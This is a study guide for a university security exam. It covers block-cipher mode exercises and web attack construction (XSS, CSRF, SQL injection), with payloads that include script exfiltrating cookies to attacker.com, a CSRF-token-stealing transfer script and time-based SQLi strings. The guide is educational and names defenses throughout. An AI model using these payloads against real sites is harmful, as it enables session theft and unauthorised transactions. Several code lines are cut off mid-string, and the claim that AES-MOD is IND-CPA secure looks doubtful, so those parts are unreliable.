- *Applying Step 1: Map the recurrence structure:* C_1 has no outside term; in $C_2 = E_K(IV_2 \oplus P_2) \oplus C_1$ the previous ciphertext C_1 is XORed outside the cipher; in $C_i = E_K(C_{i-2} \oplus P_i)$ the block from *two positions back* is fed inside E_K together with P_i.

- *Applying Steps 2-3: Isolate E_K, apply D_K, solve for P_2:* XOR C_1 onto both

sides, then decrypt, then move IV_2:

$$C_2 = E_K(IV_2 \oplus P_2) \oplus C_1$$

$$C_2 \oplus C_1 = E_K(IV_2 \oplus P_2)$$
$$D_K(C_2 \oplus C_1) = IV_2 \oplus P_2$$
$$P_2 = D_K(C_2 \oplus C_1) \oplus IV_2.$$

- *Applying Steps 2-3: Solve for P_i, $i > 2$:* The general recurrence has E_K already isolated, so apply D_K and move C_{i-2}:

$$C_i = E_K(C_{i-2} \oplus P_i)$$

$$D_K(C_i) = C_{i-2} \oplus P_i$$
$$P_i = D_K(C_i) \oplus C_{i-2}.$$

  (Also $P_1 = D_K(C_1) \oplus IV_1$ from the first equation, useful in part (c).)

- *Applying Step 4: Read off parallelizability:* Encryption ***cannot be parallelized***: the computation of C_i requires knowing C_{i-2}, an earlier ciphertext block. Decryption ***can be parallelized***: the computation of P_i does not require knowing any of $P_1, \ldots, P_{i-1}$ — it uses only ciphertext blocks and the IVs, which Bob holds in full.

- *Applying Step 5: Trace the flip in C_1 block by block:* Bob decrypts $C' = (IV_1, IV_2, C_1 \oplus 1, C_2, C_3)$.
  - $P'_1 = D_K(C'_1) \oplus IV_1 = D_K(C_1 \oplus 1) \oplus IV_1 =$ Garbage: the corrupted block goes inside D_K, and avalanche makes the output unpredictable.
  - $P'_2 = D_K(C_2 \oplus C'_1) \oplus IV_2 = D_K(C_2 \oplus C_1 \oplus 1) \oplus IV_2 =$ Garbage: the corrupted block again enters inside D_K (combined with C_2), so this block is also unpredictable.
  - $P'_3 = D_K(C_3) \oplus C'_1 = D_K(C_3) \oplus C_1 \oplus 1 = P_3 \oplus 1$: here C'_1 appears only as an outside XOR term, so exactly the flipped bit propagates.

Answer: $P_2 = D_K(C_2 \oplus C_1) \oplus IV_2$ and $P_i = D_K(C_i) \oplus C_{i-2}$; encryption sequential, decryption parallelizable; after the flip Bob recovers $(\text{Garbage}, \text{Garbage}, P_3 \oplus 1)$.

Exam Practice: Exam 2025-10-20, Problem 1a-1d (AES-MOD)

Problem: Alice and Bob design the AES-MOD mode of operation: $C_1 = E_K(P_1 \oplus IV_1 \oplus IV_2)$ and $C_i = E_K(P_i \oplus IV_1 \oplus IV_2 \oplus C_1 \oplus \cdots \oplus C_{i-1})$ for $i \geq 2$, where $E_K(b)$ is encryption of an n-bit block under secret key K with a secure block cipher (e.g. AES). A message $P = (P_1, \ldots, P_m)$ of blocks of size n is encrypted with two independent, randomly generated initialization vectors IV_1, IV_2, and $(IV_1, IV_2, C_1, \ldots, C_m)$ is sent; the message is a multiple of n, and no padding is needed. (a) [4p] Derive an efficient decryption formula of a block P_i for any $i \geq 1$ (D_K may be used). (b) [2p] Explain whether or not the encryption formula

and the decryption formula can be parallelized. (c) [4p] Mallory flips a single bit in C_2 of a four-block ciphertext, so Bob receives $C' = (IV_1, IV_2, C_1, C_2', C_3, C_4)$; show what message Bob computes, justifying garbage output and computing exact results where possible. (d) [4p] Justify if AES-MOD is IND-CPA secure; if not, give two three-block plaintexts that win the IND-CPA game, otherwise an informal justification.

Solution:

- *Applying Step 1: Map the recurrence structure:* Every term — P_i, IV_1, IV_2, and the running XOR of all previous ciphertext blocks $C_1 \oplus \cdots \oplus C_{i-1}$ — sits *inside* E_K; nothing is XORed outside the cipher. This makes inversion easy but makes encryption depend on the entire ciphertext history.

- *Applying Steps 2-3: Apply D_K and solve for P_i:* The cipher term is already isolated, so apply D_K and XOR the remaining mask over (shown for C_i):

$$C_i = E_K(P_i \oplus IV_1 \oplus IV_2 \oplus C_1 \oplus \cdots \oplus C_{i-1})$$

$$D_K(C_i) = P_i \oplus IV_1 \oplus IV_2 \oplus C_1 \oplus \cdots \oplus C_{i-1}$$

$$P_i = D_K(C_i) \oplus IV_1 \oplus IV_2 \oplus C_1 \oplus \cdots \oplus C_{i-1}.$$

  The special case is $P_1 = D_K(C_1) \oplus IV_1 \oplus IV_2$.

- *Applying Step 4: Read off parallelizability:* Encryption ***cannot be parallelized***: computing C_i requires knowing all of $C_1, \ldots, C_{i-1}$. Decryption ***can be parallelized***: computing P_i does not require knowing any of $P_1, \ldots, P_{i-1}$, and the ciphertexts of all previous blocks are already known to Bob.

- *Applying Step 5: Trace the flip in C_2 block by block:* Bob decrypts $(IV_1, IV_2, C_1, C_2 \oplus 1, C_3, C_4)$.
  - $P_1' = D_K(C_1) \oplus IV_1 \oplus IV_2 = P_1$: the formula never references C_2, so block 1 is unchanged.
  - $P_2' = D_K(C_2 \oplus 1) \oplus IV_1 \oplus IV_2 \oplus C_1 =$ Garbage: the tampered block enters inside D_K, so avalanche makes this block unpredictable.
  - $P_3' = D_K(C_3) \oplus IV_1 \oplus IV_2 \oplus C_1 \oplus C_2' = P_3 \oplus 1$: C_2' is only an XOR term here, so exactly one bit flips.
  - $P_4' = D_K(C_4) \oplus IV_1 \oplus IV_2 \oplus C_1 \oplus C_2' \oplus C_3 = P_4 \oplus 1$: same reason, one bit flips.

  Bob recovers $(P_1, \text{Garbage}, P_3 \oplus 1, P_4 \oplus 1)$.

- *Applying Step 6: Judge IND-CPA security:* AES-MOD is ***IND-CPA secure*** (informal justification): the initialization vectors IV_1, IV_2 are chosen independently at random for each message, providing fresh randomness to every ciphertext, and the use of all previous ciphertext blocks in the encryption of the current block ensures that no two blocks are ever encrypted in exactly the same way — equal plaintexts therefore encrypt to different ciphertexts and the deterministic-comparison attack fails.

Answer: $P_1 = D_K(C_1) \oplus IV_1 \oplus IV_2$, $P_i = D_K(C_i) \oplus IV_1 \oplus IV_2 \oplus C_1 \oplus \cdots \oplus C_{i-1}$; encryption sequential, decryption parallelizable; after the flip Bob recovers $(P_1, \text{Garbage}, P_3 \oplus 1, P_4 \oplus 1)$; AES-MOD is IND-CPA secure (fresh random IVs plus full chaining).

For more practice, see past-exam instances: re-exam-problems-with-sample-solutions.pdf::8c

8 Question Type 8: Web attack construction: XSS, CSRF, SQLi with origin/cookie reasoning

Theory Background (Start Here if You Know Nothing)

Start from zero. When you visit a website, your ***browser*** sends an ***HTTP request*** to the web server, and the server answers with an ***HTTP response*** containing a page written in HTML. Two request types matter:

- a ***GET*** request fetches a page and puts its parameters visibly in the URL after a question mark, e.g. `/home?msg=hello`;
- a ***POST*** request carries its parameters in the request body and is used for actions that change state (logging in, transferring money, making a post).

Pages may contain ***JavaScript***: small programs the browser executes automatically when it displays the page. JavaScript can read and rewrite the page it sits in – the in-memory form of the page is called the ***DOM*** (Document Object Model) – and can fire off further HTTP requests in the background. Almost every web-security exam question is about ONE question: which JavaScript is allowed to touch which data.

The browser's isolation rule is built on the ***origin***: the triple (scheme, domain, port), e.g. (https, www.bank.com, 443). The ***Same-Origin Policy (SOP)*** says JavaScript may READ data (page contents, responses to its requests, cookies via `document.cookie`) only from its own origin. Two consequences are must-remember:

- A script fetched from another origin (e.g. `<script src="https://attacker.com/x.js">`) still executes with the origin of the page that loaded it, not the origin hosting the file. The SOP does not block fetching the script file at all.
- The SOP blocks READING cross-origin responses, but never blocks SENDING requests: any page can make the browser issue a cross-origin GET or POST (via `<img>`, `<script src>`, or an auto-submitted form).

This pair of facts is the engine behind both XSS and CSRF.

HTTP is stateless: without help, the server cannot tell two requests apart. ***Cookies*** fix this. After you log in, the server sends a ***session token*** in a `Set-Cookie` header; from then on the browser attaches that cookie to every request to the site automatically – and this automatic attachment is exactly why a forged request can arrive already "logged in". Three cookie flags gate nearly every exam task:

- ***HttpOnly***: if true, JavaScript CANNOT read the cookie via `document.cookie`. Stealing the cookie with injected script is then impossible – but the browser still attaches the cookie to requests, so forging ACTIONS stays possible.
- ***Secure***: the cookie is sent only over HTTPS. Over plain HTTP a network attacker reads it on the wire no matter what.

- ***SameSite=Strict***: the cookie is not attached to cross-site requests, which kills classic CSRF from an attacker's page.

Also fix the attacker models: a ***network attacker*** sits on the wire and can read or inject traffic (HTTPS defeats this); a ***web attacker*** only controls a site like `attacker.com` and content the victim's browser is induced to load.

The three injection attacks differ in WHERE the injected content executes – the injected content itself is called the ***payload***, the malicious input or code the attacker plants:

- ***Cross-Site Scripting (XSS)***: attacker JavaScript RUNS in the victim's browser with the victim site's origin. ***Stored XSS***: the payload is saved on the server (a post, a comment, an album title) and served to every viewer. ***Reflected XSS***: the payload is echoed back from a request parameter, e.g. `/home?msg=X`. ***DOM-based XSS***: client-side JavaScript insecurely writes attacker data into the page. In-origin code can do anything the user can do: read `document.cookie` (if HttpOnly=false), read secrets embedded in the page such as CSRF tokens, send authenticated requests, and ***exfiltrate*** data – secretly send stolen values (like the cookie) out to the attacker's own server.
- ***Cross-Site Request Forgery (CSRF)***: NO attacker JavaScript runs at all. The attacker's page – or a stored `<img>` or `<script src>` tag – merely makes the victim's browser SEND a state-changing request; the browser attaches the cookies and the server cannot tell the request was forged. The attacker cannot read the response (SOP), but the side effect has already happened. Trap: a `<script src="fakebook.com/resetPassw` tag loads no real JavaScript, so it is CSRF, not XSS – the tag type does not decide the class, the presence of executing attacker code does.
- ***SQL injection (SQLi)***: the injection executes on the SERVER, inside a database query the server builds by string concatenation, e.g. `"SELECT ... WHERE customerName = '" + input + "'"`. User input is meant to be a VALUE wrapped in single quotes; by typing a quote yourself you break out of the value and append new query logic: `' OR 1=1 --` makes the WHERE clause true for every row (the `--` comments out the rest of the query), `x' AND customerName='Bob' --` turns the page into a yes/no ***oracle*** (a mechanism that answers one true/false question at a time – here "is my guessed condition true?" – through what the page shows), and appending `AND SLEEP(10)=1` leaks that yes/no through response TIME when no output is shown.

Defenses, matched to each attack (name them when asked "how to fix" or "why does it fail"):

- XSS: ***output encoding*** (escape untrusted data before inserting it into a page) and ***Content Security Policy (CSP)*** (e.g. a `script-src` rule that forbids inline scripts). Blacklist filtering of `<script>` tags is fragile – there are many other event handlers and encodings.
- CSRF: a secret per-session ***CSRF token*** embedded as a hidden form field – the attacker's page cannot read it cross-origin, so it cannot forge a valid request – plus `SameSite` cookies. Cookie-based authentication alone is insufficient for state-changing requests.
- SQLi: ***parameterized (prepared) queries*** – values travel separately from the query text, so input can never become query logic.

And the famous NON-defenses: HttpOnly blocks cookie theft but not action-forging XSS; a CSRF token blocks CSRF but not XSS (in-origin script simply reads the token out of the page); HTTPS stops wire sniffing but not content-level attacks.

Theory Cheat-Sheet

- Origin = (scheme, domain, port). A cross-origin-loaded script runs with the LOADING page's origin; SOP blocks READING cross-origin responses but never SENDING requests; cookies attach automatically.
- Cookie flags: HttpOnly=true blocks document.cookie theft (but not forged actions); Secure = HTTPS only; SameSite=Strict defeats CSRF.
- XSS = attacker JS runs in the victim origin. Stored = saved on server (posts/titles); reflected = echoed URL parameter; DOM-based = client-side JS writes attacker data into the page at an insecure write point (the so-called sink).
- CSRF = no attacker JS executes, just a triggered authenticated request (img/script src/auto-form). A ¡script src¿ that loads no real JS is CSRF, not XSS.
- CSRF token stops CSRF (unreadable cross-origin) but not XSS (in-origin script reads it from the DOM). HTTPS stops wire attacks, not content attacks.
- SQLi payloads: ' OR 1=1 – (dump all rows), x' AND cond – (boolean oracle), AND SLEEP(10)=1 – (time-based blind; needs the short-circuit assumption). Fix: parameterized queries.

How to Identify

Use this scheme when the problem provides A small web application described by its endpoints and behaviors (login POST returning a session-token cookie, a page that stores user posts/comments or reflects a URL parameter, a state-changing GET/POST endpoint like follow, transfer, or resetPassword possibly guarded by a CSRF token, or a server-side SQL query built by string concatenation of a user-controlled variable), plus the attacker model (network attacker, controls attacker.com, or can only submit posts), the transport (HTTP vs HTTPS), and cookie attributes (Secure, HttpOnly, SameSite). Often a fixed menu of numbered events to order into an attack sequence. and asks you to Produce a concrete attack achieving a stated goal: a payload plus the ordered sequence of events (post content, victim page load, attacker server response) that steals the session token, runs JavaScript in a given origin, forces an authenticated action (follow, login-as, transfer, password reset), or extracts a boolean/value from the database; and justify why it works (execution origin, SOP, cookie flags, CSRF token reachability) or which defense blocks it. Look for keywords like: *"stored XSS", "reflected XSS", "DOM-based", "CSRF", "CSRF token", "SQL injection", "same-origin policy", "origin", "HttpOnly", "Secure", "document.cookie", "session token", "OR 1=1", "SLEEP", "–", "payload", "sequence of events", "post(url, params)".*

Algorithm: Match goal to injection channel, then trace origin and cookie flow

Step 1: Classify the goal: Decide what the attacker must achieve:

- Execute JS in the victim site's origin ⇒ ***XSS***.
- Make the victim's browser send an authenticated request (no attacker JS needed) ⇒ ***CSRF***.
- Alter the server-side SQL query's logic ⇒ ***SQLi***.

The goal, not the delivery tag, determines the class – a `<script src=...>` that merely triggers a request without loading real JS is CSRF, not XSS. If a cookie flag makes the stated goal impossible (e.g. token theft with HttpOnly=true), re-aim at what remains possible: forcing an action via in-origin script.

Step 2: Check channel and flags: Read the givens that gate each attack:

- HTTP + network attacker: read/inject on the wire regardless of cookie flags.
- HTTPS everywhere: wire attacks fail; switch to web-content attacks (XSS/CSRF).
- `Secure=true`: cookie sent only over HTTPS – irrelevant under HTTPS, blocks HTTP sending.
- `HttpOnly=true`: cookie theft via `document.cookie` is blocked – pivot to action-forging (the script needs no cookie, the browser attaches it).
- CSRF token on the state-changing endpoint: pure CSRF from the attacker's site fails (token unreadable cross-origin), but XSS can read it from the DOM.
- Stored input field (posts, titles) ⇒ stored XSS; reflected URL parameter ⇒ reflected XSS; string-concatenated SQL with quote-delimited literals ⇒ SQLi.

Step 3: Craft the payload:

- ***XSS exfiltration*** (needs HttpOnly=false): `<script>post("https://attacker.com", document.cookie)</script>`.
- ***XSS action-forging***: read any needed secret from the page, then POST: `<script>var t=document.getElementsByName("csrf")[0].value; post("/transfer", "to=mallory,amount=200,csrf="+t)</script>`.
- ***CSRF***: `<img src="site/follow?user=mallory">` or a hidden auto-submitting form – works only if no unpredictable token is required.
- ***SQLi***: `' OR 1=1 --` to dump all rows; `x' AND customerName='Bob' --` for boolean inference; append `AND SLEEP(10)=1` for time-based blind extraction.

Step 4: Order the events: Sequence the allowed events so prerequisites come first:

- Victim logs in BEFORE the cookie-bearing page load.
- A malicious post/comment/title is stored BEFORE the victim visits the listing.
- For an attacker-origin script: store an `<iframe src="attacker.com">` first, then have `attacker.com` serve the `<script>`.

Write one event per row with the placeholder value filled in.

Step 5: Justify with origin and SOP: State WHY it works:

- A script executes with the origin of the page that loaded it, so a stored payload runs as the victim site's own code: it may read the DOM (including hidden CSRF tokens) and `document.cookie` if HttpOnly=false.
- SOP blocks reading cross-origin responses but never blocks sending requests, and cookies are attached automatically – why CSRF works, why exfiltration is observable at attacker.com, and why the attacker's own site cannot learn the victim's CSRF token.
- For SQLi: the concatenated payload becomes part of the query TEXT the server parses, so `--` neutralizes the trailing quote/logic.

Step 6: State assumptions and defenses: Note any extra assumption (e.g. SLEEP(10) must be short-circuit-evaluated only when the AND's left side is true) and name the matching defense when asked, including defenses that do NOT help:

- XSS: output encoding/escaping, CSP.
- CSRF: CSRF tokens, SameSite cookies – but tokens do not stop XSS.
- SQLi: parameterized/prepared queries.
- Cookie theft via JS: HttpOnly – but HttpOnly does not stop action-forging XSS.
- Wire attacks: HTTPS.

Exam Variations & Traps

- **Variation 1 (Attack-class identification with T/F origin statements):** Instead of constructing the attack, the exam shows a payload (e.g. `<script src="https://attacker.com/payload.js"></script>` in a stored post) and asks to judge statements: the script runs with the origin of the LOADING page (e.g. fakebook.com), not the origin hosting the file; SOP does not block fetching the file; cookie-stealing via a stored post is STORED XSS, not DOM-based. Trap: confusing the script's hosting origin with its execution origin, and mislabeling stored vs DOM-based.

- **Variation 2 (CSRF disguised as XSS):** A payload like `<script src="https://fakebook.com/resetPassword?password=42"></script>` uses a script tag but loads no real JS – it only makes the victim's browser issue the authenticated GET with cookies attached. The correct classification

is CSRF. The algorithm adapts by checking whether any attacker JavaScript actually executes in the victim origin. Trap: answering "XSS" because of the `<script>` tag.

- **Variation 3 (Cookie/transport flag flips):** The same session-token-theft goal is re-asked under different flags: HTTP + HttpOnly=true forces a pure network-sniffing answer (read the login response on the wire; JS cannot help); HTTPS + HttpOnly=false forces a reflected/stored XSS with `document.cookie` exfiltration; HTTPS + HttpOnly=true forces action-forging XSS instead of token theft. Traps: proposing `document.cookie` when HttpOnly=true, or proposing wire sniffing when traffic is HTTPS and the attacker is only a network attacker.
- **Variation 4 (Blind and time-based SQLi):** After the always-true condition (`' OR 1=1 -- : 1=1` is a condition that is always true, so every row matches) and row-count boolean variants, the output is hidden ("Ticket count not available") and a timing channel is required: `x' AND customerName='Bob' AND SLEEP(10)=1 --` , inferring the boolean from response delay. The algorithm adapts by replacing output-observation with timing-observation, and requires explicitly stating the short-circuit assumption that SLEEP runs only when the preceding AND terms are true. Trap: forgetting the assumption or leaving the string literal unterminated.

Guided Walkthrough (Learn the Method on One Question)

Problem: The photo-printing shop `www.pixprint.com` lets registered users create albums. A user logs in by POSTing username and password to `/login`; on success the server sets a session-token cookie with `Secure=true` and `HttpOnly=true`. Every page served to a logged-in user embeds a per-session token in a hidden form field `<input type="hidden" name="csrf" value="...">`, and the endpoint `/transfer` accepts a POST with parameters `to`, `amount`, and `csrf`; if the `csrf` value matches the session's token, the given amount of store credit is moved from the caller's account to account `to`. The page `/albums` lists the titles of the twenty most recent albums; titles are stored on the server and displayed verbatim (no output encoding). Mallory is a registered pixprint user and also controls the web server `www.darklens.com`; she has no network access to other users' traffic. All pixprint traffic uses HTTPS. The JavaScript helper `post(url, params)`, which sends an HTTP POST request to `url` with parameters `params`, is available on every pixprint page. Goal: move 200 credits from Beatrice's account to Mallory's account. Give the payload, the sequence of events, justify why the attack works, and explain why Mallory cannot achieve the goal with a pure CSRF attack from `www.darklens.com` instead.

Solution (every step explained, including WHY):

- *Applying Step 1 (classify the goal):* Mallory must cause a state change – a credit transfer – inside Beatrice's session. That is an action-forgery goal, which points at ***CSRF*** or ***XSS***. Beginner note: first write down what the goal is NOT. It is not "steal the session token". `HttpOnly=true` makes `document.cookie` unreadable to any JavaScript, so token theft is impossible here. Do not give up: a forged action does not need the cookie VALUE at all – the browser attaches the cookie to every

pixprint request automatically. The attack only needs to make Beatrice's browser send the right request.

- *Applying Step 2 (check channel and flags):* HTTPS plus "no network access to other users' traffic" rules out every wire attack, so the answer must be content-level. Now the decisive given: `/transfer` demands a `csrf` parameter that Mallory cannot know – it is per-session and embedded only in pixprint's own pages, and the SOP forbids her site `www.darklens.com` from reading pixprint pages. So pure CSRF from her own site is dead. But album titles are stored and displayed verbatim: that is a ***stored XSS*** channel. Script running in the pixprint origin CAN read the hidden token from the page, because it is same-origin content. Conclusion: stored XSS performing action-forgery. Beginner mistake to avoid: treating the CSRF token as a reason the goal is impossible – it only blocks forgeries from OUTSIDE the pixprint origin.

- *Applying Step 3 (craft the payload):* Mallory creates an album whose title is

  ```
  <script>var t=document.getElementsByName("csrf")[0].value; post("/transfer", "to=
  ```

  Read it piece by piece: `document.getElementsByName("csrf")[0].value` pulls the hidden token out of the surrounding page (a normal same-origin DOM read, legal for any pixprint script); `post("/transfer", ...)` then sends the transfer POST with `to=mallory`, `amount=200` and the stolen token appended. Beginner note: the payload must live where it will be EXECUTED – a stored title, not a message Mallory sends to the server API.

- *Applying Step 4 (order the events):* (1) Mallory, as a registered user, creates the album with the payload title, so the script is stored on pixprint's server. (2) Beatrice logs in via POST to `/login`; her browser stores the session cookie and every pixprint page now embeds HER per-session csrf token. Steps (1) and (2) can occur in either order, but both must precede step (3) – a classic beginner error is having the victim load the page before logging in, when there is no cookie or token to abuse. (3) Beatrice loads `/albums`; the server embeds Mallory's stored title verbatim in the page next to Beatrice's hidden token field, and her browser parses the title as HTML and executes the `<script>`, which issues the transfer POST with cookie and token attached.

- *Applying Step 5 (justify with origin and SOP):* Why does it work? The script executes with the origin of the page that loaded it – `www.pixprint.com` – so the SOP treats it as pixprint's own code: it may read the DOM, including the hidden `csrf` input. This same-origin read is exactly what Mallory's own site is denied, which is why the injection step is indispensable. Second, the SOP never blocks SENDING requests and the browser attaches Beatrice's cookie automatically, so the POST to `/transfer` arrives authenticated AND carrying a valid token, and the server executes the transfer. Pure CSRF from `www.darklens.com` fails for one precise reason: Mallory cannot fill in the `csrf` parameter, because learning it requires a cross-origin read of a pixprint page, which the SOP blocks. A CSRF token defeats CSRF but not in-origin script.

- *Applying Step 6 (assumptions and defenses):* Assumptions to state: Beatrice visits `/albums` while logged in, and Mallory's payload album is still among the twenty

most recent. Defenses: (a) output-encoding album titles (so the browser shows the `<script>` as inert text) or a CSP forbidding inline scripts removes the XSS channel entirely; (b) `HttpOnly=true` is already set and does its job – it blocks token theft via `document.cookie` – but this attack demonstrates it is not a defense against action-forging XSS; (c) the CSRF token correctly blocks forgery from Mallory's own site but not from injected in-origin script. Beginner takeaway: name which defense blocks WHICH attack; examiners award points for the non-defenses as well. Final answer: the stored title `<script>var t=document.getElementsByName("csrf")[0].value; post("/transfer", "to=mallory,amount=200,csrf="+t)</script>`, delivered by store + login + load, moves 200 credits to Mallory.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Exam 2025-10-20, Problem 4d

Problem: On the site `www.readbooks.com`, users submit and view posts about books. Albin is a user, initially not logged in; Malice is a network attacker between Albin and the website and controls `www.attacker.com`. Behaviors: `/home` shows all posts (same whether or not logged in); login is a POST to `/login` with "username,password" in the contents, and a correct login returns a session-token cookie; a logged-in user can load `/home?msg=X` to display all posts plus the message X at the top; a logged-in user can follow a user via GET `/follow?user=X`. Attacks are described as ordered events chosen from: (1) Albin loads `/home`; (2) Albin loads `/home?msg=X`; (3) Albin makes a POST request with the correct username and password; (4) Malice makes a post with contents X; (5) Malice makes `www.attacker.com` send back X; (6) Malice reads the HTTP request from Albin; (7) Malice reads the HTTP response to Albin. The helper `post(url, params)` is available. For this task assume all requests are sent over HTTPS and the session-token cookie has `Secure=true` and `HttpOnly=false`. Attack: use a reflected XSS attack to learn the value of Albin's session token.

Solution:

- *Applying Step 1 (classify the goal):* The goal is to LEARN the session token, i.e. read a secret from Albin's browser – that requires code running in the readbooks origin, hence ***XSS***, and the task even mandates the reflected variant. (Compare task 4a of the same exam: over plain HTTP with `HttpOnly=true`, the only option was reading the login response on the wire – events 3 then 7. Here HTTPS forbids exactly that.)

- *Applying Step 2 (check channel and flags):* HTTPS blocks Malice's wire access, so wire sniffing (events 6/7) is useless. `Secure=true` is irrelevant once everything is HTTPS. The enabling given is `HttpOnly=false`: injected JavaScript MAY read `document.cookie`. The reflected channel is the `msg` parameter of `/home?msg=X`, which is echoed at the top of the page – so a script placed in X executes when Albin loads that URL.

- *Applying Step 3 (craft the payload):* Use

```
<script>post("www.attacker.com",document.cookie)</script>
```

as the value of `msg`. It reads the session cookie (allowed, HttpOnly=false) and POSTs it to Malice's server, where she simply logs the incoming request.

- *Applying Step 4 (order the events):* Attack steps:
  - 3, None – Albin makes a POST request with the correct username and password; his browser now stores the session-token cookie.
  - 2, `<script>post("www.attacker.com",document.cookie)</script>` – Albin loads `www.readbooks.com/home?msg=<script>post("www.attacker.com",documer` the server reflects the payload into the page and his browser executes it.

  Login MUST come first: the cookie only exists after event 3.

- *Applying Step 5 (justify with origin and SOP):* The reflected script executes with the origin `www.readbooks.com` (origin of the loading page), so `document.cookie` returns Albin's session token – HttpOnly=false permits this. Sending the token to `www.attacker.com` is a cross-origin request, but the SOP only blocks READING cross-origin responses, never SENDING requests, so the exfiltration POST goes through and Malice observes the token at her server. HTTPS protects the wire, not the content of a page the site itself reflected.

Answer: Events: 3, None; then 2, `<script>post("www.attacker.com",document.cookie)</scri` – the reflected script (HttpOnly=false) sends Albin's session cookie to Malice's server.

Exam Practice: Exam 2024-10-22, Problem 4b

Problem: FakeBook (`https://fakebook.com`) is a social media site whose user posts are stored on FakeBook servers. Alice and Mallory both have accounts. Mallory makes a FakeBook post with the contents `<script src="https://fakebook.com/resetPassword?password=42"></script>`. The `resetPassword` endpoint sets the currently logged-in user's password to the `password` query parameter. FakeBook does not check user inputs. When Alice opens Mallory's post, which type of attack has Mallory tried to execute? Explain how the same-origin policy allows or prevents the attack.

Solution:

- *Applying Step 1 (classify the goal):* The goal is a state change – Alice's password being set to "42" – inside Alice's logged-in session: an action-forgery goal. Now the key check: does any attacker JavaScript actually EXECUTE in the fakebook origin? The `src` URL is the `resetPassword` endpoint; whatever it returns is not real JavaScript for the browser to run. No attacker code executes – so despite the `<script>` tag, this is a ***CSRF*** attack, not XSS. The delivery tag does not decide the class.

- *Applying Step 2 (check channel and flags):* The channel is a stored post served to Alice by fakebook itself. The endpoint `resetPassword` requires no unpredictable token – only the query parameter `password=42`, which Mallory fully controls. Nothing else gates the attack.

- *Applying Step 3/4 (payload and event order):* The tag itself is the whole payload: when Alice's browser renders Mallory's post it tries to load the "script" at `https://fakebook.com/resetPassword?password=42`, i.e. it issues that GET request. Order of events: Mallory stores the post; Alice is (or becomes) logged in; Alice opens the post; her browser automatically requests the `src` URL; the server processes the password reset.

- *Applying Step 5 (justify with origin and SOP):* The SOP does not block the attack, because the SOP never blocks SENDING requests: any page may make the browser fetch a cross-origin (or same-origin) URL via `<script src>`, `<img>`, etc., and the browser attaches Alice's fakebook cookies automatically. The request therefore arrives authenticated, and the server resets Alice's password to 42 – Mallory tricked Alice's browser into making an authenticated request to cause a state change, the definition of CSRF. The SOP only blocks Mallory from READING the response, which she does not need; the side effect has already happened. The browser may log a harmless JavaScript syntax error when the response is not valid JS, but that changes nothing.

Answer: CSRF: the `<script src>` tag loads no real JavaScript – it only makes Alice's browser send the authenticated `resetPassword?password=42` request with her cookies, and the SOP never blocks sending requests.

Exam Practice: Exam 2025-12-18, Problem 3c

Problem: Kungliga Operan's ticket system uses a table `tickets(customerName, operaName, ...)`. A page takes an opera name as input, runs the query `SELECT customerName FROM tickets WHERE operaName = '$operaName';` (directly replacing `$operaName` with user input; single quotes delimit string literals and `--` starts a comment). After a quick code fix, the page always displays "Ticket count not available" instead of "N tickets sold" – but the original query still runs before the message is shown. Mallory notices that when she provides "Carmen" as input, the website consistently takes less than 2 seconds to respond. The database supports `SLEEP(X)`, which pauses query evaluation for X seconds and then returns the number 1. Provide an input to `$operaName` that Mallory could use to determine if Bob has a ticket for "Carmen", explain how it works, and state any additional assumptions explicitly.

Solution:

- *Applying Step 1 (classify the goal):* Mallory must extract one boolean fact – "does Bob have a ticket for Carmen?" – from the database: a ***SQLi*** goal. The output channel has been removed (the count is no longer displayed), so the boolean-inference trick of reading row counts is dead. What remains observable is TIME: the query still runs, and its duration can depend on the injected logic. This is the ***time-based blind SQLi*** variant.

- *Applying Step 2 (check channel):* The channel is unchanged: string concatenation into a single-quote-delimited literal, and `--` comments out the rest. The new observables are: (a) response time, (b) a measured baseline – input

"Carmen" answers in under 2 seconds – and (c) a server-side delay primitive, `SLEEP(X)`, that returns 1 after X seconds. Beginner note: the baseline matters, because the attack works by producing a MEASURABLE difference from it.

- *Applying Step 3 (craft the payload):* Provide the input

  ```
  Carmen' AND customerName = 'Bob' AND SLEEP(10) = 1 --
  ```

  The first `Carmen'` supplies a valid opera name and closes the opened quote; the two `AND` clauses append the boolean test and the timer; the trailing `--` comments out the server's own closing quote so the query stays syntactically valid.

- *Applying Step 4 (execution and observation):* The server executes

  ```
  SELECT customerName FROM tickets WHERE operaName = 'Carmen' AND customerName =
  ```

  If Bob has a ticket for Carmen, a row satisfies the first two conditions, so the database evaluates `SLEEP(10)=1` and pauses 10 seconds: the page answers in about 10 seconds instead of under 2. If Bob has no such ticket, no row survives the first two conditions, the sleep is never reached, and the page answers as fast as before. The timing gap (10 s vs < 2 s) encodes the boolean.

- *Applying Step 5 (state the assumption and justify):* The required additional assumption: the database uses ***short-circuit evaluation*** for `AND` – `SLEEP(10)=1` is NOT evaluated when a left-hand conjunct is already false. Without short-circuiting, the sleep would run on every query and timing would carry no information. The injection works because the concatenated input becomes part of the query TEXT the database parses: Mallory's quote ends the intended string literal and her `--` neutralizes the trailing one. The fix (not asked, but know it): parameterized queries, so input can never become query logic.

Answer: Input `Carmen' AND customerName = 'Bob' AND SLEEP(10) = 1 --` : a roughly 10-second response means Bob has a ticket for Carmen, a fast (under 2 s) response means he does not – assuming short-circuit evaluation of `AND`.

For more practice, see past-exam instances: re-exam-problems-with-sample-solutions.pdf::3b

9 Question Type 9: Password storage and authentication-scheme analysis

Theory Background (Start Here if You Know Nothing)

Start from zero: a ***cryptographic hash function*** H is a publicly known algorithm that takes an input of ANY length (a password, a file, a string) and produces a fixed-length output called a ***digest*** (for example 256 bits). Three properties matter for this exam topic:

- ***Deterministic***: the same input always gives the same digest, so the server can re-hash what you type and compare it with what it stored.
- ***One-way*** (also called ***preimage resistant***): given a digest y, it is computationally infeasible to find ANY input x with $H(x) = y$. The only known generic strategy is to guess candidates and hash them.
- ***Collision resistant***: it is infeasible to find two different inputs with the same digest.

Why store hashes at all? If the server kept passwords in plaintext and an attacker stole the database, every account would be compromised instantly. If instead the server stores $H(password)$, the thief only gets digests, and one-wayness forces her into ***guessing***: pick a candidate password, hash it, compare with the stored digest. This guessing game is the whole topic.

